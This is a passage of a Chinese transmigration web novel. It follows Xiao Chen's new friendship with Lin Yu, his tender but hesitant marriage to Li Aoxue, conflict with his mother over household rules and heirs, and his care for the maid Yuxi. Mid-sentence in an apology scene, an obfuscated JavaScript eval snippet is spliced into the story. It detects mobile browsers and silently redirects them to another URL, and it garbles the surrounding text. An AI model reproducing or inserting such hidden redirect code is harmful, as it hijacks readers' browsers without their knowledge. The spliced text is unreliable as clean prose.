肖晨主动开口:“兄台也喜爱读书?”年轻人转过头,微微一笑,露出一口洁白的牙齿:“正是,闲暇之时,最爱在这书摊淘些好书。看兄台也是爱书之人,不知平时偏好哪类书籍?”肖晨来了兴致,说道:“我对经史子集皆有涉猎,不过最爱的还是诗词,钟情于那字里行间的意境与韵味。兄台呢?” 年轻人眼睛一亮,兴奋地说:“巧了,我也痴迷诗词。尤其喜爱李白的豪放飘逸,杜甫的沉郁顿挫。”两人越聊越投机,从诗词谈到人生抱负,从历史典故聊到当下时事。阿成在一旁看着,心中暗自高兴,少爷今日看来是遇到知音了。 不知不觉,日头渐渐西斜,肖晨与这位年轻人互报家门,原来对方叫林羽。 肖晨满脸笑意,热情地对林羽说道:“林兄,明日可一定要来寒舍坐坐,咱们再把酒言欢,畅谈一番。”林羽爽朗地笑了笑,眼中透着真诚,毫不犹豫地回应:“一定会的,肖兄相邀,我岂会不来。” 肖晨看着眼前林羽,挺拔的身姿,剑眉星目,透着一股帅气洒脱。恍惚间,肖晨的思绪竟飘到了现代。在那个思想更为开放包容的时代,若能有林羽这样的人成为自己的男友,该是多么美好的事情。两人可以手牵手漫步在繁华的街头,一起去看电影、喝咖啡,分享生活中的点点滴滴。 但很快,肖晨回过神来,意识到自己身处古代,这样的想法只能是奢望。他暗自苦笑了一下,将这份思绪藏在心底。林羽见肖晨微微走神,不禁好奇地问道:“肖兄,可是在想什么心事?”肖晨连忙掩饰,笑着说道:“并无心事,只是想到明日与林兄的相聚,心中满是期待。”林羽哈哈一笑:“我亦如此。” 随后,两人又寒暄了几句,便各自散去。肖晨一路上脑海里还不时浮现出林羽的模样,心中既有对古代交友的欣喜,又夹杂着对现代别样情感的一丝怀念。回到家中,肖晨依旧沉浸在这份复杂的情绪里,以至于阿成都察觉到少爷今日似乎有些心不在焉。不过,阿成并未多问,只默默跟在肖晨身后,等待着少爷处理完自己的思绪。 18. 袒护妻子,处理婆媳关系 肖晨回到家中,玉溪眼尖,一眼瞧见他,赶忙迎上前,笑着问道:“公子这是刚从外面回来呀?”肖晨微微点头,应道:“嗯,随便出去走了走。”话落,他像是突然想起什么,问道:“傲雪去哪里了?”玉溪赶忙回答:“李姑娘在厨房里准备晚饭呢。” 肖晨听后,不禁微微皱眉,心中觉得女孩子整天围着厨房转可不行。虽说李傲雪这么做,很大程度是为了迎合母亲,讨家人欢心,但他更希望李傲雪能有自己的生活,不必将全部精力都耗费在这些家务琐事上。 他略作思索,便朝着厨房走去。一进厨房,热气裹挟着饭菜的香气扑面而来。只见李傲雪正专注地盯着炉灶,手中拿着锅铲,不时翻炒着锅里的菜肴,额头上布满了细密的汗珠。 肖晨心中泛起一丝心疼,走上前轻声说道:“傲雪。”李傲雪听到声音,转过头来,看到是肖晨,脸上立刻绽放出笑容:“少爷,你回来啦。今日我准备做几道你爱吃的菜。”肖晨走到她身边,接过她手中的锅铲,说道:“先歇会儿吧,这些事交给厨子们做就好。你整日在厨房忙活,也该找点自己喜欢的事做。” 李傲雪有些诧异,看着肖晨,说道:“可是母亲说……”肖晨打断她的话,温柔说道:“母亲那边我去说。你呀,不能总把自己困在这一方天地里。你平日有没有什么爱好,读书、画画或是其他的?”李傲雪微微低下头,思索片刻后说道:“其实我以前在家时,喜欢刺绣。” 肖晨眼睛一亮,说道:“那正好呀,你可以重拾刺绣,别荒废了这手艺。厨房的事,偶尔参与就好,不必事事亲力亲为。”李傲雪看着肖晨,眼中满是感动与惊喜,轻声说道:“谢谢少爷,我听你的。”肖晨笑着点点头,将锅铲递回给一旁的厨子,拉着李傲雪走出了厨房。 两人回到房间,肖晨看着李傲雪,目光柔和且带着关切,说道:“你去洗漱一下,换身衣服吧,这身上的油烟味太重啦。女孩子干干净净、香香的,才更舒服些。” 李傲雪微微颔首,脸颊泛起一抹红晕,轻声应道:“好,少爷。”说罢,便转身走向屏风后准备洗漱。不一会儿,屏风后传来了轻微的水声。肖晨坐在一旁的椅子上,随手拿起桌上的一本书,可心思却不在书上,时不时朝着屏风的方向看去。 过了一阵,李傲雪从屏风后走出。她换了一身淡粉色的衣衫,长发松松挽起,几缕碎发垂在脸颊两侧,整个人显得清新温婉。刚刚洗漱完,她身上还带着淡淡的皂角香气。 肖晨抬头望去,眼中闪过一丝惊艳,微笑着说道:“这样多好,看着清爽又舒服。”李傲雪羞涩地笑了笑,走到肖晨身边坐下。肖晨放下手中的书,认真地看着她,说道:“傲雪,我是真心希望你能有自己的生活,刺绣既然是你喜欢的,就不要放弃。日后若想做些别的有趣事儿,也尽管去做,不必事事都以家务为先。” 李傲雪感动不已,眼眶微微泛红,说道:“少爷,你对我真好。我原以为进了肖家,就该一心操持家中事务,从没想过还能做自己喜欢的事。”肖晨轻轻握住她的手,说道:“夫妻之间,自然希望你能开心。家是我们共同的,不该只让你一人劳累。” 李傲雪用力地点点头,心中满是对肖晨的感激与爱意。 肖晨看着李傲雪,一脸认真地说道:“你以后不用什么事情都顾忌我。生活上的事情我自己都可以做,不想让你太辛苦。” 李傲雪听后,连连摇头,面露难色地说道:“少爷,这怎么行呢?我是你的妻子,伺候你本就是我分内之事。还是说,是我服侍你不够周到,让少爷不满意了?”说着,她眼中隐隐泛起担忧之色。 肖晨赶忙握住她的手,解释道:“傲雪,你别误会。你做得很好,把我照顾得无微不至,我很感激。只是我觉得夫妻之间,不应只是一方单方面付出。你也有自己的喜好和生活,不该全都围绕着我转。” 李傲雪微微皱眉,眼中满是不解:“可是在这世上,哪有妻子不伺候丈夫的道理呢?我若不做好这些,旁人会说我不懂规矩,也会让少爷您面上无光啊。” 肖晨无奈地叹了口气,耐心劝说道:“时代或许在变,有些老规矩也不一定非要完全遵循。我更希望我们能像朋友一样,相互扶持,彼此尊重。你可以去做自己喜欢的刺绣,也能去外面走走,见识见识。” 李傲雪咬了咬嘴唇,思索片刻后说道:“少爷的想法,傲雪明白,只是傲雪一时之间难以改变。少爷容我慢慢适应,可好?”肖晨看着她那小心翼翼的模样,心中满是怜惜,点头道:“好,你慢慢来,只要你开心就好。” 肖晨轻轻拉着她的手,目光温柔地注视着,怜惜道:“你瞧这手,本就这般娇嫩,女孩子可得好好爱护自己。要是总干那么多粗活,小心皮肤都变得粗糙了。” 李傲雪微微低下头,眼中闪过一丝担忧,轻声问道:“我要是变得不好看了,少爷是不是就嫌弃我了?”她声音很小,带着几分忐忑。 肖晨一听,不禁有些哭笑不得,轻轻抬起她的下巴,让她直视自己,说道:“我说你怎么这么怕我啊?我怎么会因为这点就嫌弃你。你要知道,你的人生是自己的,又不是为我活着。你可以有自己的喜好,去做让自己开心的事,我希望看到的是那个鲜活、快乐的你,而不是被家务琐事困住,失去自我的你。” 李傲雪眼中泛起泪花,感动地说道:“少爷,您说的这些话,傲雪从未听过。从小到大,大家都告诉我,女子嫁人后就该以夫为天,全心全意为夫家操持。您今日所言,让傲雪有些不知所措。” 肖晨将她轻轻拥入怀中,拍了拍她的背,说道:“过去的观念不一定全对。在我这儿,你首先是你自己,然后才是我的妻子。我希望你能勇敢地追求自己想要的生活,我们一起经营这个家,而不是你独自承担一切。” 李傲雪靠在肖晨怀里,感受着他的温暖与真诚,心中的担忧与迷茫渐渐消散。她微微点头,说道:“少爷,傲雪明白了,傲雪会试着改变,不辜负您的心意。” 肖晨松开她,看着她的眼睛,鼓励道:“好,我相信你。从明天起,你就多花些时间在刺绣上,厨房的事偶尔去看看就行。”李傲雪脸上露出了灿烂的笑容,重重点头:“嗯,谢谢少爷。” 肖晨看着李傲雪,由衷地说道:“你看,你笑起来多好看啊。”李傲雪听了,赶忙回应:“少爷喜欢,我以后便多笑便是。”肖晨轻轻摇头,认真说道:“我希望你的笑容是发自内心的,并不是为了迎合我才笑。” 李傲雪眼中满是深情,缓缓抬起手,轻轻抚摸着他的脸颊,柔声道:“要是少爷能够爱我,多疼疼我,我会更开心的。”那目光中饱含着期待与爱意,仿佛此刻世间万物都抵不过眼前人对自己的回应。 肖晨身子微微一僵,下意识地拉开了些距离,神色有些不自然地说道:“别这样……” 李傲雪的手停在半空中,脸上的笑容瞬间凝固,眼中闪过一丝受伤与失落。她嘴唇微微颤抖,嗫嚅着:“少爷……是不是讨厌我这样……” 肖晨看着李傲雪这般模样,心中有些愧疚,但又不知该如何解释自己内心复杂的感受。他深知李傲雪对自己情深意切,可自己灵魂的特殊性,让他难以像寻常男子那般回应这份爱意。沉默片刻后,肖晨轻声说道:“傲雪,我不是讨厌你,只是……只是我还需要些时间。你如此真心待我,我都明白,也很感动。但感情之事,强求不得,你能懂我吗?” 李傲雪眼中泪光闪烁,她强忍着不让泪水落下,轻轻点头:“少爷,我懂。是傲雪太心急了,吓到少爷了。傲雪会等,等少爷愿意接受我的那一天。” 肖晨看着她如此善解人意,心中既欣慰又心疼,再次轻轻握住她的手,说道:“傲雪,委屈你了。日后,我们慢慢相处,我相信,我们会越来越好的。”李傲雪抬起头,努力挤出一丝笑容,说道:“嗯,傲雪相信少爷。” 到了晚上,天色渐暗,屋内烛火摇曳。肖母坐在厅中,扭头吩咐身边的丫鬟:“去厨房瞅瞅,李傲雪那饭菜准备得咋样了。”丫鬟领命,匆匆去往厨房。 没一会儿,丫鬟脚步匆匆地返回,屈膝行礼后禀报道:“夫人,厨房没人,问了厨子,说是少爷不让少夫人做,把少夫人拉走了。”肖母一听,脸色瞬间沉了下来,冷哼一声:“哼,肯定是这个贱人在儿子面前诉苦,装可怜,好让儿子心疼她。” 肖母越想越气,在厅中来回踱步,嘴里念叨着:“才进门多久,就开始不安分,妄图蛊惑我儿子,坏了家中规矩。”她眼中闪过一丝狠厉,暗暗打定主意,一定要找个机会,好好敲打敲打李傲雪,让她知道在这肖家,到底谁说了算。 另一边,浑然不知肖母这番心思的肖晨与李傲雪,正沿着花园小径漫步。月光洒在他们身上,李傲雪满心欢喜,能与肖晨这般相处,对她而言已是莫大的幸福。而肖晨看着身边笑意盈盈的李傲雪,心中却隐隐有些担忧,他不知母亲知晓此事后会作何反应,只希望母亲不要过于为难李傲雪。 肖母对身边的丫鬟说到,去请少爷和少夫人过来吃饭。肖母对丫鬟吩咐完,便坐在饭厅主位上,脸色阴沉地等着肖晨和李傲雪。不多时,两人携手走进饭厅。 肖晨和李傲雪赶忙行礼,齐声说道:“母亲。”肖母抬眼打量他们,阴阳怪气地开口:“你们二人这是去哪里了?饭菜都好了许久,怎么才过来吃饭。儿子,你可得为自己身体着想,别被一些杂事分了心。” 肖晨察觉到母亲话里有话,却还是恭敬回应:“母亲,方才我和傲雪在花园散步,不知不觉就耽搁了些时间,让您久等,是孩儿的不是。”李傲雪低着头,心中有些忐忑,小声说道:“母亲,是儿媳的错,不该拉着少爷闲逛,耽误了用餐。” 肖母冷哼一声,目光落在李傲雪身上,似有不满:“哼,你既已嫁入我肖家,就得明白规矩。这家中诸事,都得安排妥当,伺候好少爷更是你的本分。别整日只想着那些闲散之事。” 肖晨见母亲这般针对李傲雪,心中不忍,赶忙说道:“母亲,傲雪平日里将家中事务打理得井井有条,今日只是难得闲暇,孩儿便邀她一同散步放松。况且,夫妻间多些相处,也能增进感情。” 肖母看着儿子维护李傲雪,心中虽有不悦,但也不好再多说什么,只是说道:“罢了,下不为例。吃饭吧。” 于是,三人各自落座,饭厅内一时安静下来。 三人吃完饭,肖母便将目光直直投向李傲雪,神色严肃地问道:“这几日,我儿子可与你同房?”李傲雪脸上顿时飞起一抹红晕,微微低下头,小声答道:“母亲,少爷一直与我睡在一起,只是……只是没有……” 肖母一听,眉头紧皱,语气中满是责备:“你怎么做妻子的?都不知道体贴丈夫!夫妻之间,本就该尽些本分,你如此扭捏,怎能让我儿子满意,又怎能为肖家开枝散叶?” 李傲雪心中委屈,眼眶泛红,嗫嚅着解释:“母亲,儿媳并非有意如此,只是少爷他……”话未说完,便被肖母不耐烦地打断:“别找借口!我看你就是心思没放在正处。我儿子自幼教养良好,定是你不够主动,未能挑起他的兴致。” 肖晨在一旁听着母亲这番言论,尴尬又无奈,赶忙说道:“母亲,此事与傲雪无关,是孩儿自己的意思。孩儿近日忙于读书,实在无心其他。您莫要再责怪傲雪了。” 肖母看着儿子,恨铁不成钢地说道:“你这孩子,读书固然重要,可传宗接代也是大事!你莫要被那些书本迷了心智,忘了自己的责任。傲雪,你也别听他的,日后该主动些,知晓了吗?” 李傲雪眼中含泪,只得点头应道:“是,母亲,儿媳明白了。”肖晨看着李傲雪受委屈,心中满是心疼,却又无法改变母亲根深蒂固的观念,只能暗自叹息,希望母亲日后不要再为难李傲雪。 肖晨看着一脸严肃的肖母,赶忙轻声劝解:“母亲,我如今已然成家,不管怎样,以后肯定会让您抱上孙子的。只是眼下我一心扑在读书上,况且我和傲雪都还年轻,有的是时间。您就别这么着急了,就当是为儿子考虑考虑,成吗?” 肖母眉头依旧紧锁,眼中满是忧虑:“话虽如此,可这传宗接代之事,宜早不宜迟。你如今只顾着读书,万一耽搁了,如何是好?家族子嗣绵延,可是大事。” 肖晨走上前,轻轻握住母亲的手,语气温柔且坚定:“母亲,我明白您的担忧。但儿子心中有数,读书是为了有更好的前程,将来能给傲雪和孩子更安稳的生活。等我在学业上稍有成就,定会将此事放在心上,不会让您失望的。” 肖母微微动容,看着儿子恳切的眼神,心中的气也消了几分,无奈地叹了口气:“罢了罢了,就依你。可你也别让我等太久,我还盼着早日含饴弄孙呢。” 肖晨赶忙点头:“母亲放心,儿子记住了。傲雪她也懂事,我们二人定会好好相处,不辜负您的期望。”说罢,他转头看向李傲雪,眼神中带着安抚。李傲雪微微颔首,感激地看了肖晨一眼,轻声对肖母说道:“母亲,儿媳日后会与少爷相互扶持,尽早遂了您的心愿。”肖母看着二人,神色缓和了许多,说道:“嗯,你们能这般懂事就好,去吧,早些休息。” 于是,肖晨和李傲雪向肖母行礼告退,携手离开了厅堂。 二人回到房里,肖晨径直走到床边,疲惫地躺了上去,伸手揉了揉眉心。一想到方才母亲和李傲雪之间的场景,他满心无奈,心中暗自思忖:这婆媳关系实在是太难调和了,长此以往,看来得搬出去住才行,不然迟早得被逼疯。 李傲雪见他这副模样,以为他是读书累了,心中满是心疼。她轻手轻脚地走到床边,缓缓俯下身,想要仔细看看他的神情。而此刻的肖晨,正沉浸在自己的思绪里,想得太过出神,完全没有注意到李傲雪距离自己已经这么近。 李傲雪看着肖晨微皱的眉头,忍不住伸出手,轻轻将他的眉头抚平,柔声道:“少爷,是不是今日读书太累了?若是疲倦,便早些歇息吧。”肖晨这才回过神来,一抬眼,便对上李傲雪关切的目光,两人的脸近在咫尺,他甚至能感受到李傲雪温热的呼吸。 肖晨微微一怔,脸上不自觉泛起一丝红晕,连忙稍稍侧身,拉开了些距离,说道:“傲雪,我没事,只是方才在想些事情。”李傲雪有些疑惑,轻声问道:“少爷在想何事,可是有什么烦心事?说与傲雪听听,或许傲雪能为少爷分忧。” 肖晨犹豫了一下,觉得此事也该与李傲雪商量,便说道:“傲雪,我方才在想,母亲和你之间的相处,似乎有些不太融洽。长此以往,恐怕会生出许多矛盾。我想着,要不我们搬出去住,也好避开这些纷争,你觉得如何?” 李傲雪听了,心中有些惊讶,但随即陷入沉思。片刻后,她缓缓说道:“少爷,搬出去住,确实能少些婆媳间的摩擦。只是母亲那边……她能同意吗?而且,此举会不会让旁人说三道四,说我们不孝?” 肖晨轻轻握住李傲雪的手,说道:“我明白你的顾虑。母亲那边,我会找机会好好与她商议。至于旁人的看法,只要我们问心无愧便好。我只是不想让你整日夹在中间为难,也不想因为这些琐事,影响了我们的生活。” 李傲雪看着肖晨,眼中满是感动,点头说道:“少爷,一切都听你的,只要能与少爷在一起,傲雪去哪里都愿意。” 肖晨凝望着眼前善解人意的李傲雪,心中情愫涌动。看着她那满含深情与信任的眼眸,一股冲动驱使他缓缓抬起手,轻轻托住她的下巴。李傲雪微微一愣,脸颊瞬间绯红,眼中闪过一丝羞涩与期待,她下意识地闭上双眼。 肖晨的脸慢慢凑近,两人的气息交织在一起。就在双唇快要接触的那一瞬间,仿佛有一股无形的力量拉扯着他。他心中猛地一紧,像是突然被什么击中,理智瞬间回笼。肖晨身子一颤,急忙向后退去,脸上满是复杂的神情。 李傲雪缓缓睁开眼睛,眼中的期待瞬间化作失落,她咬着嘴唇,眼眶微微泛红,声音带着一丝颤抖:“少爷……是我哪里做得不好吗?”肖晨满心愧疚,他深知自己的举动让李傲雪受伤了,赶忙解释道:“傲雪,不是你的问题,是我……我还没有做好准备。你这么好,我不想唐突了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993179|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是刚刚那一刻……我有些失控,对不起。” 李傲雪眼中泪光闪烁,她深吸一口气,努力挤出一丝笑容:“少爷,我明白的,是傲雪太心急了。感情之事,本就该循序渐进,少爷莫要自责。”肖晨看着她强颜欢笑的模样,心疼不已,轻轻将她拥入怀中:“傲雪,你如此体谅我,我却……我定会好好待你,给你足够的时间和尊重,等我真正做好准备。”李傲雪靠在肖晨怀里,默默地点了点头,泪水悄然滑落。 李傲雪见肖晨这样,心中虽有些失落,但仍下意识地伸手,想要为他宽衣解带,轻声说道:“少爷,让我来。”肖晨赶忙侧身躲开,说道:“不用了,我自己来就行了。”李傲雪张了张嘴,似乎还想说些什么,肖晨却再次开口,态度坚决:“我自己的事自己做习惯了,你别忙活了。” 两人洗漱完毕后,躺到了床上。黑暗中,李傲雪辗转反侧,内心纠结了一会儿,还是忍不住轻轻往肖晨怀里蹭去,她眷恋着这份亲近。肖晨感觉到她的动作,身子一僵,赶忙说道:“赶紧睡吧,不早了。”他心里着实害怕自己再有方才那种难以自控的生理反应,毕竟李傲雪的温柔与靠近,对他而言是一种强烈的吸引。 李傲雪听出了肖晨话语中的闪躲,心中满是委屈,但她也明白肖晨的心思,只好停下动作,轻声应道:“好,少爷,晚安。”说完,她背过身去,泪水在眼眶里打转。肖晨察觉到李傲雪情绪的低落,心中有些不忍,可又实在不知该如何安抚,只能在黑暗中无声地叹了口气,静静地望着床顶,久久未能入眠。 第二天清晨,天色刚泛起鱼肚白,肖晨便早早醒来。他看了眼身旁仍在熟睡的李傲雪,轻手轻脚地下了床,生怕吵醒她。 他唤来丫鬟,示意丫鬟为自己穿衣洗漱。在整个过程中,他一直默不作声,神情略显局促。昨晚的种种情形在他脑海中不断回放,让他实在不想面对李傲雪,那种尴尬的感觉挥之不去。 穿戴整齐后,肖晨思索片刻,对身旁的丫鬟低声说道:“一会把早餐端到我书房里去吧。”丫鬟微微一愣,不过还是恭敬地应道:“是,少爷。”肖晨又忍不住叮嘱:“若是少夫人问起,就说我一早有要紧事,在书房处理,暂不见客。”丫鬟赶忙点头称是。 交代完这些,肖晨匆匆走出房间,步伐略显急切。他来到书房,坐在书桌前,却无心读书,只是呆呆地望着窗外,脑海里全是李傲雪昨晚失落的神情,心中不禁泛起一阵愧疚,但一时之间,他也不知该如何面对李傲雪,只能选择暂时逃避。 不多时,老先生迈着稳健的步伐走进书房,准备教授肖晨《弟子规》。肖晨见先生来了,赶忙起身行礼,待两人落座后,肖晨却没有如往常般准备听讲,而是面露难色,看向先生说道:“先生,学生如今已然成家,只是对于妻子,实在不知该如何面对,还望先生能指点一二。” 老先生微微一愣,随即露出温和的笑容,轻抚胡须缓缓说道:“夫妻相处,的确是一门深奥的学问呐。这世间夫妻,相处之道各有不同。倘若你实在对妻子喜欢不起来,倒也无妨,只需好吃好喝地善待她。衣食住行,皆不可亏待,如此,也算是尽到了一份责任。” 肖晨微微皱眉,思索片刻后说道:“先生,其实学生并非不喜欢傲雪,只是……只是有时觉得与她相处,总有种不知所措之感,不知如何表达自己的心意,还时常让她伤心难过。”老先生听了,眼中闪过一丝了然,点头说道:“这夫妻之间,贵在坦诚与理解。你不妨多与她沟通,了解她心中所想,将自己的心意如实相告。感情之事,慢慢磨合,方能渐入佳境。切不可因一时的迷茫,伤了夫妻情分。” 肖晨听了先生的话,心中豁然开朗,拱手说道:“多谢先生教诲,学生明白了。学生定当努力,与傲雪好好相处,不负她一片深情。”老先生欣慰地笑了笑,说道:“如此便好,咱们这便开始今日的课业吧。”于是,书房内再次响起老先生讲解《弟子规》的声音,肖晨也收起思绪,专心听讲,只是心中已然暗暗下定决心,要改善与李傲雪的关系。 下了课,已近中午时分。此时,林羽手提礼物,前来肖府拜访。李傲雪正在院内整理花草,瞧见有客人到访,赶忙放下手中活计,快步迎上前去。 林羽见李傲雪走来,不禁微微一愣,眼中闪过一丝惊艳。只见李傲雪身着淡蓝色的罗裙,青丝如瀑,眉眼间透着温婉与灵动,气质淡雅宜人。林羽回过神来,笑着说道:“想必这位便是嫂夫人吧?真是仪态万千,肖兄好福气呀。” 李傲雪微微脸红,福身行礼,轻声说道:“公子过奖了。不知公子是?” 林羽赶忙自我介绍:“嫂夫人,在下林羽,与肖兄乃是好友。今日特来拜访,怎么不见肖兄呢?”李傲雪微笑着说道:“原来是林公子,快请进。少爷他刚下课,估计在书房整理课业,我这便让人去唤他。”说罢,李傲雪便吩咐身旁的丫鬟去书房请肖晨。 林羽随着李傲雪走进厅中,将礼物放在一旁,客气地说道:“嫂夫人,一点薄礼,不成敬意,还望笑纳。”李傲雪赶忙说道:“林公子太客气了,来便来了,还带什么礼物。”两人正说着,肖晨匆匆赶来,笑着说道:“林兄,你可来了,我正盼着呢!”林羽起身,与肖晨相互作揖,笑道:“肖兄,许久不见,甚是想念啊!”肖晨也笑道:“我亦是如此。今日你能来,咱们定要好好叙叙旧。” 三人在厅中坐下,林羽面带笑意,看着肖晨感慨道:“没想到肖兄这么早就成家了,还娶了嫂夫人这般贤惠的妻子,当真是让人羡慕不已。”肖晨微微颔首,神色平和地回应:“这是家里安排的。能有傲雪这样的妻子,确实是我的荣幸。” 李傲雪在一旁听着,脸颊微红,轻声说道:“公子谬赞了,傲雪不过是做了分内之事。”林羽爽朗一笑,说道:“嫂夫人太过谦逊了,单从方才见面时嫂夫人的举止仪态,便能看出持家有道。肖兄,你可得好好珍惜呀。” 肖晨转头看向李傲雪,眼中流露出一丝温柔,说道:“那是自然。傲雪为家中付出诸多,我都看在眼里。”李傲雪感受到肖晨的目光,心中一暖,嘴角不自觉地上扬。 林羽见状,心中为好友感到高兴,又打趣道:“肖兄如今成家,往后怕是要把心思多分些给嫂夫人,与我等相聚的时间,恐怕要少喽。”肖晨笑着摆摆手,说道:“林兄这是哪里的话,即便成家,兄弟间的情谊也不会变。日后你只管常来,咱们依旧可以谈天说地。” 林羽脸上带着一抹狡黠的笑,凑近肖晨,压低声音说:“肖兄如今一心忙着读书,身边又有嫂夫人温柔相伴。不过呢,正所谓人不风流枉少年,这后天城里可有个盛大的灯会。嘿,一到晚上,那可是花枝招展,好多美人都会来逛灯呢,你就不趁此机会去凑凑热闹,好好玩玩?” 肖晨微微皱眉,瞥了一眼正忙着招呼下人端茶的李傲雪,轻声回道:“林兄,这话可莫要再提。我既已成家,自当恪守本分,怎能有此念头。况且,我平日里心思多放在学业上,对这些玩乐之事,兴趣不大。” 林羽不以为然地轻轻摇头,笑着打趣:“肖兄,你也别太死板嘛。不过是去凑个热闹,又不是让你做出什么逾矩之事。难得有这等盛会,说不定还能寻些作诗的灵感呢。” 肖晨依旧坚定地摇了摇头,说道:“林兄美意我心领了,但还是算了。我还是觉得陪傲雪,专心读书,才是当下该做的。” 这时,李傲雪端着茶过来,笑着说:“两位公子聊什么呢,这么热闹?”肖晨接过茶盏,对李傲雪说道:“没什么,林兄只是说起后天的灯会。”李傲雪眼中闪过一丝期待,说道:“灯会?听闻那场面十分热闹,各式花灯琳琅满目。” 林羽见状,又看向李傲雪,说道:“嫂夫人既然有兴趣,不如让肖兄陪你一同去逛逛?” 肖晨看着李傲雪眼中的期许,犹豫了一下,说道:“若傲雪想去,那我们便去凑个热闹。”李傲雪听了,脸上绽放出灿烂的笑容,“好呀,少爷,我还从未逛过灯会呢。” 林羽在一旁看着,露出欣慰的笑容,心想总算促成了一件趣事。 19. 你对女子的事情这么清楚 林羽一听肖晨松口,兴奋地一拍手,说道:“那就这么说定了,后天灯会,咱们在城西那座最大的酒楼前碰面,不见不散!”肖晨笑着点头回应:“好啊,有林兄在,还能给我讲讲这灯会的新奇之处。” 随后,三人又天南海北地聊了一会儿,从诗词歌赋到坊间趣事。林羽口才极佳,妙语连珠,逗得李傲雪不时掩面轻笑,肖晨也被他的讲述引得兴致盎然。 不知不觉,日头渐西,天色转暗。林羽意识到时间不早,便起身拱手告辞:“肖兄,嫂夫人,时候不早了,我也该回去了,不然家中长辈该挂念了。”肖晨和李傲雪也站起身来,肖晨说道:“林兄难得来一趟,却未能多作挽留,实在过意不去。”李傲雪微笑着附和:“林公子慢走,日后还望常来。” 林羽笑着回应:“肖兄、嫂夫人客气了,咱们之间无需这般见外。后天灯会,咱们准时相聚。”说罢,林羽转身离去。肖晨和李傲雪将他送至门口,看着林羽的身影消失在街道尽头,两人才转身回府。 回府途中,李傲雪难掩心中期待,轻声对肖晨说:“少爷,真期待后天的灯会呀。”肖晨看着她眼中闪烁的光芒,心中满是宠溺,说道:“嗯,后天定让你玩得尽兴。” 肖晨其实内心对这灯会并没有多少兴致。毕竟在他原本所处的现代,外滩的璀璨夜景、不夜城那美轮美奂的灯光秀,各式各样绚丽至极的光影盛宴他都见识过。相比之下,这古代的灯会,在灯光规模和创意上,着实难以让他惊艳。 对他而言,去灯会凑个热闹倒也无妨,但要说去看那些古代女子,他实在提不起兴趣。毕竟,他有着特殊的秘密——若他还是原本的男儿身,或许还会像寻常男子一样,对灯会中穿梭的年轻女子投去好奇或欣赏的目光。可现在,这具身体里藏着的是截然不同的灵魂,看待事物的视角和喜好,自然也与这时代的男子大相径庭。不过,一想到李傲雪满心期待的模样,他又觉得,陪着她去感受这份热闹,也不失为一件美好的事。 李傲雪抬眸看向肖晨,眼中闪过一丝担忧,说道:“少爷,要是我们去逛灯会,母亲会不会不允许我们出去呀?”肖晨轻轻握住她的手,安抚道:“不会的,傲雪。到时候我去跟母亲说,她会答应的。” 稍作停顿,肖晨又想起什么,说道:“只是这么热闹的场面,我们也叫上玉溪一起去吧。她以前出身香满楼,想来也没好好逛过灯会。这次让她陪我们一起,人多也更热闹些。” 李傲雪欣然点头,微笑道:“少爷想得周到,玉溪妹妹平日里尽心尽力伺候我,也该让她去凑凑热闹,放松放松。想必她知道能一同去逛灯会,定会很高兴。” 肖晨看着李傲雪,温柔地说:“你心地善良,能这么为玉溪着想,她跟着你,也是她的福气。”李傲雪脸颊微红,说道:“少爷过奖了,玉溪待我如亲姐妹,我自然也希望她能开心。” 肖晨和李傲雪转身询问丫鬟玉溪的去向,丫鬟忙回道:“她在房里呢。”两人赶忙来到玉溪房门前,轻轻敲门后走了进去。 一进屋,肖晨就看到玉溪躺在床上,眉头紧皱,脸色苍白。他关切地问道:“你怎么躺床上了?”玉溪疼得厉害,嘴唇微微颤抖,却实在没办法说出口。 李傲雪见状,心中猜到几分,轻声问道:“不会是葵水来了痛吧?”肖晨一听,瞬间明白,这不就是痛经嘛。他不假思索,急忙对李傲雪说道:“你去煮点姜茶,再拿热毛巾给她敷肚子上。” 李傲雪愣了一下,简直不敢相信自己的耳朵。她满心疑惑,忍不住在心里琢磨:少爷怎么对女子痛经的应对之法如此了解?但此时情况紧急,容不得她多想,她应了一声,便匆匆转身去准备姜茶和热毛巾。 李傲雪匆忙赶到厨房,一边吩咐厨子赶紧烧水,一边自己动手切姜片,动作迅速又利落。不一会儿,姜茶煮好,热气腾腾地散发着辛辣的香气。她又赶忙拿了一条干净的毛巾,浸湿后拧干,放在热水里再次加热,才小心翼翼地端着姜茶,拿着热毛巾匆匆返回玉溪的房间。 此时肖晨正坐在床边,轻声安慰着玉溪:“玉溪,别担心,傲雪去准备东西了,一会儿就好,忍一忍。”玉溪微微点头,虚弱地挤出一丝微笑,小声说道:“少爷,让您费心了……” 李傲雪走进来,将姜茶放在桌上,然后轻轻把热毛巾递给肖晨。肖晨接过,动作轻柔地放在玉溪肚子上,说道:“玉溪,敷着这个会舒服些。来,喝点姜茶。”李傲雪也在一旁温柔地劝道:“是啊,玉溪,喝点姜茶暖暖身子。” 玉溪在两人的搀扶下微微起身,接过姜茶慢慢喝了几口。温热的液体顺着喉咙流下,肚子里似乎也有了暖意,疼痛仿佛减轻了一些。她感激地看着肖晨和李傲雪,眼中泛起泪花:“少爷,少夫人,玉溪何德何能,能得您二位如此关怀……” 肖晨摆了摆手,说道:“说这些做什么,你平日里尽心尽力伺候傲雪,我们都看在眼里。如今你身体不适,照顾你是应该的。”李傲雪也坐在床边,握住玉溪的手:“是啊,玉溪,咱们就像一家人,别这么见外。以后再有这样的情况,别自己忍着,一定要说出来。” 过了一会儿,玉溪的脸色渐渐恢复了一些血色,眉头也不再紧紧皱着。肖晨见她状态有所好转,说道:“你好好休息,要是还疼,就跟我们说。灯会的事,等你身体好了再说。”玉溪连忙摇头:“少爷,少夫人,我没事了,后天的灯会我还是想陪你们一起去。这机会难得,我不想错过。” 李傲雪心疼地说:“可别勉强自己,身体重要。”玉溪坚定地说:“少夫人,我真的没事了,刚刚喝了姜茶,敷了毛巾,已经好多了。这是我第一次能和你们一起去逛灯会,我真的很期待。” 